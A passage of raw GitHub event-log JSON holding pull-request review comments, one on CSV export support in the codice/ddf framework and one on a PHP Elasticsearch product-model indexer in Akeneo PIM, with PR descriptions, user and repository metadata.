arguments)","path":"catalog/transformer/catalog-transformer-csv-queryresponse/src/main/java/ddf/catalog/transformer/csv/CsvMetacardTransformer.java","position":39,"original_position":40,"commit_id":"8965692bd6e79fb452ce944e2852f23a48016697","original_commit_id":"424a892130ec53954ff36fcefdf06da403d706f8","user":{"login":"ethantmanns","id":12501737,"node_id":"MDQ6VXNlcjEyNTAxNzM3","avatar_url":"https://avatars0.githubusercontent.com/u/12501737?v=4","gravatar_id":"","url":"https://api.github.com/users/ethantmanns","html_url":"https://github.com/ethantmanns","followers_url":"https://api.github.com/users/ethantmanns/followers","following_url":"https://api.github.com/users/ethantmanns/following{/other_user}","gists_url":"https://api.github.com/users/ethantmanns/gists{/gist_id}","starred_url":"https://api.github.com/users/ethantmanns/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ethantmanns/subscriptions","organizations_url":"https://api.github.com/users/ethantmanns/orgs","repos_url":"https://api.github.com/users/ethantmanns/repos","events_url":"https://api.github.com/users/ethantmanns/events{/privacy}","received_events_url":"https://api.github.com/users/ethantmanns/received_events","type":"User","site_admin":false},"body":"My opinion is that I prefer calling the commons code","created_at":"2019-02-20T16:42:46Z","updated_at":"2019-02-20T16:43:45Z","html_url":"https://github.com/codice/ddf/pull/4406#discussion_r258572134","pull_request_url":"https://api.github.com/repos/codice/ddf/pulls/4406","author_association":"MEMBER","_links":{"self":{"href":"https://api.github.com/repos/codice/ddf/pulls/comments/258572134"},"html":{"href":"https://github.com/codice/ddf/pull/4406#discussion_r258572134"},"pull_request":{"href":"https://api.github.com/repos/codice/ddf/pulls/4406"}},"in_reply_to_id":258079909},"pull_request":{"url":"https://api.github.com/repos/codice/ddf/pulls/4406","id":254071752,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU0MDcxNzUy","html_url":"https://github.com/codice/ddf/pull/4406","diff_url":"https://github.com/codice/ddf/pull/4406.diff","patch_url":"https://github.com/codice/ddf/pull/4406.patch","issue_url":"https://api.github.com/repos/codice/ddf/issues/4406","number":4406,"state":"open","locked":false,"title":"[WIP] DDF-04398 Add backend support for CSV export to DDF","user":{"login":"cantstoptheunk","id":23177404,"node_id":"MDQ6VXNlcjIzMTc3NDA0","avatar_url":"https://avatars3.githubusercontent.com/u/23177404?v=4","gravatar_id":"","url":"https://api.github.com/users/cantstoptheunk","html_url":"https://github.com/cantstoptheunk","followers_url":"https://api.github.com/users/cantstoptheunk/followers","following_url":"https://api.github.com/users/cantstoptheunk/following{/other_user}","gists_url":"https://api.github.com/users/cantstoptheunk/gists{/gist_id}","starred_url":"https://api.github.com/users/cantstoptheunk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cantstoptheunk/subscriptions","organizations_url":"https://api.github.com/users/cantstoptheunk/orgs","repos_url":"https://api.github.com/users/cantstoptheunk/repos","events_url":"https://api.github.com/users/cantstoptheunk/events{/privacy}","received_events_url":"https://api.github.com/users/cantstoptheunk/received_events","type":"User","site_admin":false},"body":"<!--\r\n** For commits created to resolve GH Issues during the pilot and beyond, please prefix the\r\nissue number with a 0 until we roll over at issue #10000, ie: `DDF-0####`. This kludgy solution\r\nwill avoid overlap with issues created in Jira.**\r\n\r\nSee https://github.com/codice/ddf/wiki/%5BGH-ISSUES-PILOT%5D-Pull-Request-Guidelines\r\nfor more info.\r\n-->\r\n\r\n<!--\r\nUncomment this block and include PR # of change against 2.13.x where appropriate.\r\nWhen doing so, it is reasonable to delete much of the rest of the PR description, leaving only:\r\n- This uncommented block with link to 2.13.x PR\r\n- Reviewers tagged\r\n- Teams tagged\r\n- Committers tagged\r\n- The link to the \"Notes on Review Process\"\r\n\r\n##### ABBREVIATED REVIEW BETWEEN 2.13.X AND MASTER IS IN EFFECT\r\nLink to 2.13.x PR: #XXXX\r\n____\r\n-->\r\n\r\n#### What does this PR do?\r\nTakes a single result metacard from a search and allows it to be exported as a .csv file.\r\n\r\n#### Who is reviewing it? \r\n<!--(please choose AT LEAST two reviewers that need to approve the PR before it can get merged)-->\r\n@bellcc \r\n@GabrielFabian \r\n@andrewkfiedler \r\n@derekwilhelm \r\n\r\n#### Select relevant component teams: \r\n<!--\r\n@codice/build \r\n@codice/continuous-integration \r\n@codice/core-apis \r\n@codice/data \r\n@codice/docs \r\n@codice/io \r\n@codice/ogc \r\n@codice/security \r\n@codice/solr \r\n@codice/test \r\n@codice/ui \r\n@codice/website \r\n-->\r\n#### Ask 2 committers to review/merge the PR and tag them here.\r\n<!--\r\nIf you don't know who to ask, you can request reviews in https://groups.google.com/forum/#!forum/ddf-developers .\r\n(please choose ONLY two committers from below, delete the rest)\r\n-->\r\n@andrewkfiedler\r\n@jlcsmith \r\n\r\n#### How should this be tested?\r\n<!--(List steps with links to updated documentation)-->\r\nUpload any file and then export result as CSV. You should receive a .csv file and open the file to check that the attribute names and values were processed correctly.\r\n\r\n#### Any background context you want to provide?\r\n#### What are the relevant tickets?\r\nFixes: #4398 \r\n\r\n#### Screenshots\r\n<!--(if appropriate)-->\r\n#### Checklist:\r\n- [ ] Documentation Updated\r\n- [ ] Update / Add Threat Dragon models\r\n- [ ] Update / Add Unit Tests\r\n- [ ] Update / Add Integration Tests\r\n\r\n#### Notes on Review Process\r\nPlease see [Notes on Review Process](https://codice.atlassian.net/wiki/spaces/DDF/pages/71946981/Pull+Request+Guidelines) for further guidance on requirements for merging and abbreviated reviews. \r\n\r\n#### Review Comment Legend:\r\n- ✏️ (Pencil) This comment is a nitpick or style suggestion, no action required for approval. This comment should provide a suggestion either as an in line code snippet or a gist. \r\n- ❓ (Question Mark) This comment is to gain a clearer understanding of design or code choices, clarification is required but action may not be necessary for approval.\r\n- ❗ (Exclamation Mark) This comment is critical and requires clarification or action before approval.\r\n","created_at":"2019-02-18T23:31:54Z","updated_at":"2019-02-20T16:43:45Z","closed_at":null,"merged_at":null,"merge_commit_sha":"1ba1938277cf7e3ffcee4a4625b710abcda66502","assignee":{"login":"jlcsmith","id":4503545,"node_id":"MDQ6VXNlcjQ1MDM1NDU=","avatar_url":"https://avatars3.githubusercontent.com/u/4503545?v=4","gravatar_id":"","url":"https://api.github.com/users/jlcsmith","html_url":"https://github.com/jlcsmith","followers_url":"https://api.github.com/users/jlcsmith/followers","following_url":"https://api.github.com/users/jlcsmith/following{/other_user}","gists_url":"https://api.github.com/users/jlcsmith/gists{/gist_id}","starred_url":"https://api.github.com/users/jlcsmith/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jlcsmith/subscriptions","organizations_url":"https://api.github.com/users/jlcsmith/orgs","repos_url":"https://api.github.com/users/jlcsmith/repos","events_url":"https://api.github.com/users/jlcsmith/events{/privacy}","received_events_url":"https://api.github.com/users/jlcsmith/received_events","type":"User","site_admin":false},"assignees":[{"login":"jlcsmith","id":4503545,"node_id":"MDQ6VXNlcjQ1MDM1NDU=","avatar_url":"https://avatars3.githubusercontent.com/u/4503545?v=4","gravatar_id":"","url":"https://api.github.com/users/jlcsmith","html_url":"https://github.com/jlcsmith","followers_url":"https://api.github.com/users/jlcsmith/followers","following_url":"https://api.github.com/users/jlcsmith/following{/other_user}","gists_url":"https://api.github.com/users/jlcsmith/gists{/gist_id}","starred_url":"https://api.github.com/users/jlcsmith/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jlcsmith/subscriptions","organizations_url":"https://api.github.com/users/jlcsmith/orgs","repos_url":"https://api.github.com/users/jlcsmith/repos","events_url":"https://api.github.com/users/jlcsmith/events{/privacy}","received_events_url":"https://api.github.com/users/jlcsmith/received_events","type":"User","site_admin":false},{"login":"andrewkfiedler","id":11984853,"node_id":"MDQ6VXNlcjExOTg0ODUz","avatar_url":"https://avatars3.githubusercontent.com/u/11984853?v=4","gravatar_id":"","url":"https://api.github.com/users/andrewkfiedler","html_url":"https://github.com/andrewkfiedler","followers_url":"https://api.github.com/users/andrewkfiedler/followers","following_url":"https://api.github.com/users/andrewkfiedler/following{/other_user}","gists_url":"https://api.github.com/users/andrewkfiedler/gists{/gist_id}","starred_url":"https://api.github.com/users/andrewkfiedler/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/andrewkfiedler/subscriptions","organizations_url":"https://api.github.com/users/andrewkfiedler/orgs","repos_url":"https://api.github.com/users/andrewkfiedler/repos","events_url":"https://api.github.com/users/andrewkfiedler/events{/privacy}","received_events_url":"https://api.github.com/users/andrewkfiedler/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[{"id":1117154312,"node_id":"MDU6TGFiZWwxMTE3MTU0MzEy","url":"https://api.github.com/repos/codice/ddf/labels/%E2%9C%A8New%20Feature","name":"✨New Feature","color":"8480fc","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/codice/ddf/pulls/4406/commits","review_comments_url":"https://api.github.com/repos/codice/ddf/pulls/4406/comments","review_comment_url":"https://api.github.com/repos/codice/ddf/pulls/comments{/number}","comments_url":"https://api.github.com/repos/codice/ddf/issues/4406/comments","statuses_url":"https://api.github.com/repos/codice/ddf/statuses/8965692bd6e79fb452ce944e2852f23a48016697","head":{"label":"cantstoptheunk:DDF-04398","ref":"DDF-04398","sha":"8965692bd6e79fb452ce944e2852f23a48016697","user":{"login":"cantstoptheunk","id":23177404,"node_id":"MDQ6VXNlcjIzMTc3NDA0","avatar_url":"https://avatars3.githubusercontent.com/u/23177404?v=4","gravatar_id":"","url":"https://api.github.com/users/cantstoptheunk","html_url":"https://github.com/cantstoptheunk","followers_url":"https://api.github.com/users/cantstoptheunk/followers","following_url":"https://api.github.com/users/cantstoptheunk/following{/other_user}","gists_url":"https://api.github.com/users/cantstoptheunk/gists{/gist_id}","starred_url":"https://api.github.com/users/cantstoptheunk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cantstoptheunk/subscriptions","organizations_url":"https://api.github.com/users/cantstoptheunk/orgs","repos_url":"https://api.github.com/users/cantstoptheunk/repos","events_url":"https://api.github.com/users/cantstoptheunk/events{/privacy}","received_events_url":"https://api.github.com/users/cantstoptheunk/received_events","type":"User","site_admin":false},"repo":{"id":136080288,"node_id":"MDEwOlJlcG9zaXRvcnkxMzYwODAyODg=","name":"ddf","full_name":"cantstoptheunk/ddf","private":false,"owner":{"login":"cantstoptheunk","id":23177404,"node_id":"MDQ6VXNlcjIzMTc3NDA0","avatar_url":"https://avatars3.githubusercontent.com/u/23177404?v=4","gravatar_id":"","url":"https://api.github.com/users/cantstoptheunk","html_url":"https://github.com/cantstoptheunk","followers_url":"https://api.github.com/users/cantstoptheunk/followers","following_url":"https://api.github.com/users/cantstoptheunk/following{/other_user}","gists_url":"https://api.github.com/users/cantstoptheunk/gists{/gist_id}","starred_url":"https://api.github.com/users/cantstoptheunk/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cantstoptheunk/subscriptions","organizations_url":"https://api.github.com/users/cantstoptheunk/orgs","repos_url":"https://api.github.com/users/cantstoptheunk/repos","events_url":"https://api.github.com/users/cantstoptheunk/events{/privacy}","received_events_url":"https://api.github.com/users/cantstoptheunk/received_events","type":"User","site_admin":false},"html_url":"https://github.com/cantstoptheunk/ddf","description":"DDF Distributed Data Framework - an open source, modular integration framework.","fork":true,"url":"https://api.github.com/repos/cantstoptheunk/ddf","forks_url":"https://api.github.com/repos/cantstoptheunk/ddf/forks","keys_url":"https://api.github.com/repos/cantstoptheunk/ddf/keys{/key_id}","collaborators_url":"https://api.github.com/repos/cantstoptheunk/ddf/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/cantstoptheunk/ddf/teams","hooks_url":"https://api.github.com/repos/cantstoptheunk/ddf/hooks","issue_events_url":"https://api.github.com/repos/cantstoptheunk/ddf/issues/events{/number}","events_url":"https://api.github.com/repos/cantstoptheunk/ddf/events","assignees_url":"https://api.github.com/repos/cantstoptheunk/ddf/assignees{/user}","branches_url":"https://api.github.com/repos/cantstoptheunk/ddf/branches{/branch}","tags_url":"https://api.github.com/repos/cantstoptheunk/ddf/tags","blobs_url":"https://api.github.com/repos/cantstoptheunk/ddf/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/cantstoptheunk/ddf/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/cantstoptheunk/ddf/git/refs{/sha}","trees_url":"https://api.github.com/repos/cantstoptheunk/ddf/git/trees{/sha}","statuses_url":"https://api.github.com/repos/cantstoptheunk/ddf/statuses/{sha}","languages_url":"https://api.github.com/repos/cantstoptheunk/ddf/languages","stargazers_url":"https://api.github.com/repos/cantstoptheunk/ddf/stargazers","contributors_url":"https://api.github.com/repos/cantstoptheunk/ddf/contributors","subscribers_url":"https://api.github.com/repos/cantstoptheunk/ddf/subscribers","subscription_url":"https://api.github.com/repos/cantstoptheunk/ddf/subscription","commits_url":"https://api.github.com/repos/cantstoptheunk/ddf/commits{/sha}","git_commits_url":"https://api.github.com/repos/cantstoptheunk/ddf/git/commits{/sha}","comments_url":"https://api.github.com/repos/cantstoptheunk/ddf/comments{/number}","issue_comment_url":"https://api.github.com/repos/cantstoptheunk/ddf/issues/comments{/number}","contents_url":"https://api.github.com/repos/cantstoptheunk/ddf/contents/{+path}","compare_url":"https://api.github.com/repos/cantstoptheunk/ddf/compare/{base}...{head}","merges_url":"https://api.github.com/repos/cantstoptheunk/ddf/merges","archive_url":"https://api.github.com/repos/cantstoptheunk/ddf/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/cantstoptheunk/ddf/downloads","issues_url":"https://api.github.com/repos/cantstoptheunk/ddf/issues{/number}","pulls_url":"https://api.github.com/repos/cantstoptheunk/ddf/pulls{/number}","milestones_url":"https://api.github.com/repos/cantstoptheunk/ddf/milestones{/number}","notifications_url":"https://api.github.com/repos/cantstoptheunk/ddf/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/cantstoptheunk/ddf/labels{/name}","releases_url":"https://api.github.com/repos/cantstoptheunk/ddf/releases{/id}","deployments_url":"https://api.github.com/repos/cantstoptheunk/ddf/deployments","created_at":"2018-06-04T20:41:45Z","updated_at":"2019-02-20T15:52:00Z","pushed_at":"2019-02-20T16:03:52Z","git_url":"git://github.com/cantstoptheunk/ddf.git","ssh_url":"git@github.com:cantstoptheunk/ddf.git","clone_url":"https://github.com/cantstoptheunk/ddf.git","svn_url":"https://github.com/cantstoptheunk/ddf","homepage":"http://ddf.codice.org","size":399479,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master"}},"base":{"label":"codice:master","ref":"master","sha":"e6f9b159b37e1a368c4ba03296320e09befe1d03","user":{"login":"codice","id":2386734,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzODY3MzQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2386734?v=4","gravatar_id":"","url":"https://api.github.com/users/codice","html_url":"https://github.com/codice","followers_url":"https://api.github.com/users/codice/followers","following_url":"https://api.github.com/users/codice/following{/other_user}","gists_url":"https://api.github.com/users/codice/gists{/gist_id}","starred_url":"https://api.github.com/users/codice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/codice/subscriptions","organizations_url":"https://api.github.com/users/codice/orgs","repos_url":"https://api.github.com/users/codice/repos","events_url":"https://api.github.com/users/codice/events{/privacy}","received_events_url":"https://api.github.com/users/codice/received_events","type":"Organization","site_admin":false},"repo":{"id":15173563,"node_id":"MDEwOlJlcG9zaXRvcnkxNTE3MzU2Mw==","name":"ddf","full_name":"codice/ddf","private":false,"owner":{"login":"codice","id":2386734,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIzODY3MzQ=","avatar_url":"https://avatars2.githubusercontent.com/u/2386734?v=4","gravatar_id":"","url":"https://api.github.com/users/codice","html_url":"https://github.com/codice","followers_url":"https://api.github.com/users/codice/followers","following_url":"https://api.github.com/users/codice/following{/other_user}","gists_url":"https://api.github.com/users/codice/gists{/gist_id}","starred_url":"https://api.github.com/users/codice/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/codice/subscriptions","organizations_url":"https://api.github.com/users/codice/orgs","repos_url":"https://api.github.com/users/codice/repos","events_url":"https://api.github.com/users/codice/events{/privacy}","received_events_url":"https://api.github.com/users/codice/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/codice/ddf","description":"DDF Distributed Data Framework - an open source, modular integration framework.","fork":false,"url":"https://api.github.com/repos/codice/ddf","forks_url":"https://api.github.com/repos/codice/ddf/forks","keys_url":"https://api.github.com/repos/codice/ddf/keys{/key_id}","collaborators_url":"https://api.github.com/repos/codice/ddf/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/codice/ddf/teams","hooks_url":"https://api.github.com/repos/codice/ddf/hooks","issue_events_url":"https://api.github.com/repos/codice/ddf/issues/events{/number}","events_url":"https://api.github.com/repos/codice/ddf/events","assignees_url":"https://api.github.com/repos/codice/ddf/assignees{/user}","branches_url":"https://api.github.com/repos/codice/ddf/branches{/branch}","tags_url":"https://api.github.com/repos/codice/ddf/tags","blobs_url":"https://api.github.com/repos/codice/ddf/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/codice/ddf/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/codice/ddf/git/refs{/sha}","trees_url":"https://api.github.com/repos/codice/ddf/git/trees{/sha}","statuses_url":"https://api.github.com/repos/codice/ddf/statuses/{sha}","languages_url":"https://api.github.com/repos/codice/ddf/languages","stargazers_url":"https://api.github.com/repos/codice/ddf/stargazers","contributors_url":"https://api.github.com/repos/codice/ddf/contributors","subscribers_url":"https://api.github.com/repos/codice/ddf/subscribers","subscription_url":"https://api.github.com/repos/codice/ddf/subscription","commits_url":"https://api.github.com/repos/codice/ddf/commits{/sha}","git_commits_url":"https://api.github.com/repos/codice/ddf/git/commits{/sha}","comments_url":"https://api.github.com/repos/codice/ddf/comments{/number}","issue_comment_url":"https://api.github.com/repos/codice/ddf/issues/comments{/number}","contents_url":"https://api.github.com/repos/codice/ddf/contents/{+path}","compare_url":"https://api.github.com/repos/codice/ddf/compare/{base}...{head}","merges_url":"https://api.github.com/repos/codice/ddf/merges","archive_url":"https://api.github.com/repos/codice/ddf/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/codice/ddf/downloads","issues_url":"https://api.github.com/repos/codice/ddf/issues{/number}","pulls_url":"https://api.github.com/repos/codice/ddf/pulls{/number}","milestones_url":"https://api.github.com/repos/codice/ddf/milestones{/number}","notifications_url":"https://api.github.com/repos/codice/ddf/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/codice/ddf/labels{/name}","releases_url":"https://api.github.com/repos/codice/ddf/releases{/id}","deployments_url":"https://api.github.com/repos/codice/ddf/deployments","created_at":"2013-12-13T20:38:28Z","updated_at":"2019-02-19T19:37:01Z","pushed_at":"2019-02-20T16:30:11Z","git_url":"git://github.com/codice/ddf.git","ssh_url":"git@github.com:codice/ddf.git","clone_url":"https://github.com/codice/ddf.git","svn_url":"https://github.com/codice/ddf","homepage":"http://ddf.codice.org","size":419798,"stargazers_count":92,"watchers_count":92,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":162,"mirror_url":null,"archived":false,"open_issues_count":77,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":162,"open_issues":77,"watchers":92,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/codice/ddf/pulls/4406"},"html":{"href":"https://github.com/codice/ddf/pull/4406"},"issue":{"href":"https://api.github.com/repos/codice/ddf/issues/4406"},"comments":{"href":"https://api.github.com/repos/codice/ddf/issues/4406/comments"},"review_comments":{"href":"https://api.github.com/repos/codice/ddf/pulls/4406/comments"},"review_comment":{"href":"https://api.github.com/repos/codice/ddf/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/codice/ddf/pulls/4406/commits"},"statuses":{"href":"https://api.github.com/repos/codice/ddf/statuses/8965692bd6e79fb452ce944e2852f23a48016697"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 15173563,
"name": "codice/ddf",
"url": "https://api.github.com/repos/codice/ddf"
}
|
{
"id": 12501737,
"login": "ethantmanns",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/12501737?",
"url": "https://api.github.com/users/ethantmanns"
}
|
{
"id": 2386734,
"login": "codice",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2386734?",
"url": "https://api.github.com/orgs/codice"
}
| 2019-02-20T16:42:46 |
9103834716
|
{"actor":{"display_login":"ethantmanns"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/comments/327977982","pull_request_review_id":292887478,"id":327977982,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMyNzk3Nzk4Mg==","diff_hunk":"@@ -0,0 +1,74 @@\n+<?php\n+\n+declare(strict_types=1);\n+\n+namespace Akeneo\\Pim\\Enrichment\\Bundle\\Elasticsearch\\Indexer;\n+\n+use Akeneo\\Pim\\Enrichment\\Bundle\\Product\\Query\\Sql\\GetAncestorAndDescendantProductModelCodes;\n+use Akeneo\\Pim\\Enrichment\\Bundle\\Product\\Query\\Sql\\GetDescendantVariantProductIdentifiers;\n+use Akeneo\\Tool\\Component\\StorageUtils\\Indexer\\ProductIndexerInterface;\n+use Akeneo\\Tool\\Component\\StorageUtils\\Indexer\\ProductModelIndexerInterface;\n+\n+/**\n+ * Indexer responsible for the indexing of the product models, product models ancestors\n+ * and all children (product models and variant products)\n+ *\n+ * @author Nicolas Marniesse <nicolas.marniesse@akeneo.com>\n+ * @copyright 2017 Akeneo SAS (http://www.akeneo.com)\n+ * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)\n+ */\n+final class ProductModelDescendantsAndAncestorsIndexer\n+{\n+ /** @var ProductIndexerInterface */\n+ private $productIndexer;\n+\n+ /** @var ProductModelIndexerInterface */\n+ private $productModelIndexer;\n+\n+ /** @var GetDescendantVariantProductIdentifiers */\n+ private $getDescendantVariantProductIdentifiers;\n+\n+ /** @var GetAncestorAndDescendantProductModelCodes */\n+ private $getAncestorAndDescendantProductModelCodes;\n+\n+ public function __construct(\n+ ProductIndexerInterface $productIndexer,\n+ ProductModelIndexerInterface $productModelIndexer,\n+ GetDescendantVariantProductIdentifiers $getDescendantVariantProductIdentifiers,\n+ GetAncestorAndDescendantProductModelCodes $getAncestorAndDescendantProductModelCodes\n+ ) {\n+ $this->productIndexer = $productIndexer;\n+ $this->productModelIndexer = $productModelIndexer;\n+ $this->getDescendantVariantProductIdentifiers = $getDescendantVariantProductIdentifiers;\n+ $this->getAncestorAndDescendantProductModelCodes = $getAncestorAndDescendantProductModelCodes;\n+ }\n+\n+ /**\n+ * Indexes the given product models with children (subtrees made of product variants and product models).\n+ *\n+ * @param string[] $productModelCodes\n+ * @param array $options\n+ */\n+ public function indexFromProductModelCodes(array $productModelCodes, array $options = []): void\n+ {\n+ if (empty($productModelCodes)) {\n+ return;\n+ }\n+\n+ $ancestorAndDescendantsProductModelCodes = $this\n+ ->getAncestorAndDescendantProductModelCodes\n+ ->fromProductModelCodes($productModelCodes)\n+ ;\n+ $this->productModelIndexer->indexFromProductModelCodes(\n+ array_unique(array_merge($productModelCodes, $ancestorAndDescendantsProductModelCodes)),\n+ $options\n+ );\n+\n+ $variantProductIdentifiers = $this->getDescendantVariantProductIdentifiers->fromProductModelCodes(\n+ $productModelCodes\n+ );\n+ if (!empty($variantProductIdentifiers)) {","path":"src/Akeneo/Pim/Enrichment/Bundle/Elasticsearch/Indexer/ProductModelDescendantsAndAncestorsIndexer.php","position":69,"original_position":70,"commit_id":"de9528bb61cf47dca07fed890dd2e77eb0e3df3a","original_commit_id":"de6476748797ff5977e5752ff68605f7474e08cd","user":{"login":"ahocquard","id":1942439,"node_id":"MDQ6VXNlcjE5NDI0Mzk=","avatar_url":"https://avatars0.githubusercontent.com/u/1942439?v=4","gravatar_id":"","url":"https://api.github.com/users/ahocquard","html_url":"https://github.com/ahocquard","followers_url":"https://api.github.com/users/ahocquard/followers","following_url":"https://api.github.com/users/ahocquard/following{/other_user}","gists_url":"https://api.github.com/users/ahocquard/gists{/gist_id}","starred_url":"https://api.github.com/users/ahocquard/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ahocquard/subscriptions","organizations_url":"https://api.github.com/users/ahocquard/orgs","repos_url":"https://api.github.com/users/ahocquard/repos","events_url":"https://api.github.com/users/ahocquard/events{/privacy}","received_events_url":"https://api.github.com/users/ahocquard/received_events","type":"User","site_admin":false},"body":"@nmarniesse ok let's batch in ProductIndexer, I changed my mind during the night :smile: (in another PR please)","created_at":"2019-09-25T07:51:57Z","updated_at":"2019-09-25T07:52:45Z","html_url":"https://github.com/akeneo/pim-community-dev/pull/10772#discussion_r327977982","pull_request_url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/comments/327977982"},"html":{"href":"https://github.com/akeneo/pim-community-dev/pull/10772#discussion_r327977982"},"pull_request":{"href":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772"}},"in_reply_to_id":327686484},"pull_request":{"url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772","id":320830381,"node_id":"MDExOlB1bGxSZXF1ZXN0MzIwODMwMzgx","html_url":"https://github.com/akeneo/pim-community-dev/pull/10772","diff_url":"https://github.com/akeneo/pim-community-dev/pull/10772.diff","patch_url":"https://github.com/akeneo/pim-community-dev/pull/10772.patch","issue_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues/10772","number":10772,"state":"open","locked":false,"title":"TIP-1283: Create ProductModelDescendantsAndAncestorsIndexer","user":{"login":"nmarniesse","id":4737390,"node_id":"MDQ6VXNlcjQ3MzczOTA=","avatar_url":"https://avatars1.githubusercontent.com/u/4737390?v=4","gravatar_id":"","url":"https://api.github.com/users/nmarniesse","html_url":"https://github.com/nmarniesse","followers_url":"https://api.github.com/users/nmarniesse/followers","following_url":"https://api.github.com/users/nmarniesse/following{/other_user}","gists_url":"https://api.github.com/users/nmarniesse/gists{/gist_id}","starred_url":"https://api.github.com/users/nmarniesse/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nmarniesse/subscriptions","organizations_url":"https://api.github.com/users/nmarniesse/orgs","repos_url":"https://api.github.com/users/nmarniesse/repos","events_url":"https://api.github.com/users/nmarniesse/events{/privacy}","received_events_url":"https://api.github.com/users/nmarniesse/received_events","type":"User","site_admin":false},"body":"<!--- (<3 Thanks for taking the time to contribute! You're awesome! <3) --->\r\n\r\n<!--- (If you've never contributed to this repository before, please read https://github.com/akeneo/pim-community-dev/blob/master/.github/CONTRIBUTING.md) --->\r\n\r\n**Description (for Contributor and Core Developer)**\r\n\r\n[TIP-1283](https://akeneo.atlassian.net/browse/TIP-1283) Create ProductModelDescendantsAndAncestorsIndexer\r\n\r\n- add GetAncestorAndDescendantProductModelCodes query\r\n- add GetDescendantVariantProductIdentifiers query\r\n- add ProductModelDescendantsAndAncestorsIndexer\r\n\r\n**Definition Of Done (for Core Developer only)**\r\n\r\n| Q | A\r\n| --------------------------------- | ---\r\n| Added Specs | OK\r\n| Added legacy Behats | -\r\n| Added acceptance tests | -\r\n| Added integration tests | OK\r\n| Changelog updated | -\r\n| Review and 2 GTM | Todo\r\n| Micro Demo to the PO (Story only) | -\r\n| Migration script | -\r\n| Tech Doc | -\r\n\r\n`Todo`: Pending / Work in progress\r\n`OK`: Done / Validated\r\n`-`: Not needed\r\n","created_at":"2019-09-24T15:26:59Z","updated_at":"2019-09-25T07:52:45Z","closed_at":null,"merged_at":null,"merge_commit_sha":"89420b87cc524dc3ac9651c61b4afe657d19c9bc","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772/commits","review_comments_url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/10772/comments","review_comment_url":"https://api.github.com/repos/akeneo/pim-community-dev/pulls/comments{/number}","comments_url":"https://api.github.com/repos/akeneo/pim-community-dev/issues/10772/comments","statuses_url":"https://api.github.com/repos/akeneo/pim-community-dev/statuses/de9528bb61cf47dca07fed890dd2e77eb0e3df3a","head":{"label":"akeneo:TIP-1283","ref":"TIP-1283","sha":"de9528bb61cf47dca07fed890dd2e77eb0e3df3a","user":{"login":"akeneo","id":2510186,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI1MTAxODY=","avatar_url":"https://avatars0.githubusercontent.com/u/2510186?v=4","gravatar_id":"","url":"https://api.github.com/users/akeneo","html_url":"https://github.com/akeneo","followers_url":"https://api.github.com/users/akeneo/followers","following_url":"https://api.github.com/users/akeneo/following{/other_user}","gists_url":"https://api.github.com/users/akeneo/gists{/gist_id}","starred_url":"https://api.github.com/users/akeneo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/akeneo/subscriptions","organizations_url":"https://api.github.com/users/akeneo/orgs","repos_url":"https://api.github.com/users/akeneo/repos","events_url":"https://api.github.com/users/akeneo/events{/privacy}","received_events_url":"https://api.github.com/users/akeneo/received_events","type":"Organization","site_admin":false},"repo":{"id":5367323,"node_id":"MDEwOlJlcG9zaXRvcnk1MzY3MzIz","name":"pim-community-dev","full_name":"akeneo/pim-community-dev","private":false,"owner":{"login":"akeneo","id":2510186,"node_id":"MDEyOk9yZ2FuaX